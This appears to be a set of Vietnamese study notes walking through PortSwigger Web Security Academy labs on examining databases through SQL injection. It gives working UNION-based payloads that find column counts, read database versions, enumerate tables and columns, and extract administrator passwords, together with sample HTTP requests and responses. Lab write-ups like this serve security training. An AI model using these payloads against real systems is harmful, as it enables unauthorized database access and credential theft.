Note

Tất cả các bài lab bên dưới đều được khai thác ở query param category của endpoint /filter.

Querying the Database Type and Version

Để truy xuất thông tin về database (các bảng và các cột), trước tiên ta cần biết tên database và version của nó. Sau đây là một số cú pháp truy vấn version của các loại database:

Database typeQuery
Microsoft, MySQLSELECT @@version
OracleSELECT * FROM v$version
PostgreSQLSELECT version()

Chúng ta có thể ghép vào mệnh đề UNION để truy vấn như sau:

' UNION SELECT @@version--

Câu truy vấn trên có thể trả về giá trị như sau:

Microsoft SQL Server 2016 (SP2) (KB4052908) - 13.0.5026.0 (X64)
Mar 18 2018 09:11:49
Copyright (c) Microsoft Corporation
Standard Edition (64-bit) on Windows Server 2016 Standard 10.0 <X64> (Build 14393: ) (Hypervisor)

Bằng cách này, ta có thể biết được loại database và version của nó.

Lab: SQL Injection Attack, Querying the Database Type and Version on Oracle

Sử dụng payload sau để truy vấn thông tin phiên bản của Oracle database:

' union select banner, null from v$version--

Lab: SQL Injection Attack, Querying the Database Type and Version on MySQL and Microsoft

Ban đầu dùng payload sau nhưng không được:

' order by 1--

Do database là MySQL và Microsoft nên thêm vào dấu ; và sử dụng comment -- -:

' order by 2;-- -

Tìm ra số lượng cột là 2, sử dụng payload sau thì truy vấn được version của database:

' union select @@version, null;-- -

Kết quả:

8.0.36-0ubuntu0.20.04.1

Listing the Contents of the Database

Đa số các loại database (trừ Oracle) đều có tập các bảng (hoặc view) cho biết thông tin về các schema có trong database. Ví dụ, câu truy vấn sau sẽ liệt kê danh sách các bảng có ở trong database:

SELECT * FROM information_schema.tables

Kết quả có thể là:

TABLE_CATALOG  TABLE_SCHEMA  TABLE_NAME  TABLE_TYPE
=====================================================
MyDatabase     dbo           Products    BASE TABLE
MyDatabase     dbo           Users       BASE TABLE
MyDatabase     dbo           Feedback    BASE TABLE

Kết quả trên cho biết có ba bảng trong database là Products, UsersFeedback.

Cũng có thể dùng information_schema để truy vấn thông tin về các cột:

SELECT * FROM information_schema.columns WHERE table_name = 'Users'

Kết quả có thể là:

TABLE_CATALOG  TABLE_SCHEMA  TABLE_NAME  COLUMN_NAME  DATA_TYPE
=================================================================
MyDatabase     dbo           Users       UserId       int
MyDatabase     dbo           Users       Username     varchar
MyDatabase     dbo           Users       Password     varchar

Kết quả trên cho biết bảng Users có ba cột là UserId, UsernamePassword.

Lab: SQL Injection Attack, Listing the Database Contents on non-Oracle Databases

Tìm ra được số lượng cột là 2 và cả 2 cột đều có thể chứa chuỗi. Truy vấn được thông tin của database như sau:

' union select version(), 'a'-- -

Kết quả:

PostgreSQL 12.17 (Ubuntu 12.17-0ubuntu0.20.04.1) on x86_64-pc-linux-gnu, compiled by gcc (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0, 64-bit

Trong Postgres cũng có bảng information_schema.tables chứa thông tin về các table.

Sử dụng payload sau để truy xuất tên của các bảng mà không có tiền tố là pg_ và không phải là view.

' union select null, table_name from information_schema.tables where table_name not like 'pg_%' and table_type not like 'VIEW'-- -

Tìm được tên của bảng chứa thông tin người dùng là users_idiieu.

Bảng information_schema.columns sẽ cho ta biết thông tin về các column.

Sử dụng payload sau để truy xuất tên của các cột trong bảng users_idiieu:

' union select null, column_name from information_schema.columns where table_name = 'users_idiieu'-- -

Ta tìm được hai cột chứa username và password là username_gkiiyapassword_thgdgi.

Tiến hành truy xuất thông tin từ hai cột này:

' union select null, username_gkiiya || ' - ' || password_thgdgi from users_idiieu-- -

Tìm ra được username và password của admin là administrator - dibh7den7ue5cdhdo55q. Đăng nhập vào tài khoản này.

Listing the Contents of an Oracle Database

Đối với Oracle:

  • Truy vấn danh sách các bảng:

    SELECT * FROM all_tables
  • Truy vấn danh sách cột:

    SELECT * FROM all_tab_columns WHERE table_name = 'USERS'

Lab: SQL Injection Attack, Listing the Database Contents on Oracle

Tìm ra số lượng cột là 2 vì mệnh đề order by 3 trả về response có status code là 500:

GET /filter?category=Pets' order by 3-- HTTP/2
Host: 0a6a005a04175371801503f200100058.web-security-academy.net
HTTP/2 500 Internal Server Error
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 2391

Tìm được phiên bản của Oracle database thông qua request sau:

' union select null, banner from v$version--
HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 9999
 
<tr>
	<td>CORE	11.2.0.2.0	Production</td>
</tr>
<tr>
	<td>NLSRTL Version 11.2.0.2.0 - Production</td>
</tr>
<tr>
	<td>Oracle Database 11g Express Edition Release 11.2.0.2.0 - 64bit Production</td>
</tr>
<tr>
	<td>PL/SQL Release 11.2.0.2.0 - Production</td>
</tr>
<tr>
	<td>TNS for Linux: Version 11.2.0.2.0 - Production</td>
</tr>

Tìm được bảng USERS_CAFXFI chứa username và password thông qua payload sau:

' union select table_name, null from all_tables-- 

Tìm được 3 cột của bảng này là EMAIL, PASSWORD_ILUGFHUSERNAME_NQIBTZ thông qua payload sau:

' union select COLUMN_NAME, null from ALL_TAB_COLUMNS where table_name = 'USERS_CAFXFI'--

Tìm được password của administrator4l7a2l25yh4107mtzvpo thông qua payload sau:

'union select PASSWORD_ILUGFH, null from USERS_CAFXFI where USERNAME_NQIBTZ = 'administrator'--
list
from outgoing([[Port Swigger - Examining the Database in SQL Attacks]])
sort file.ctime asc

Resources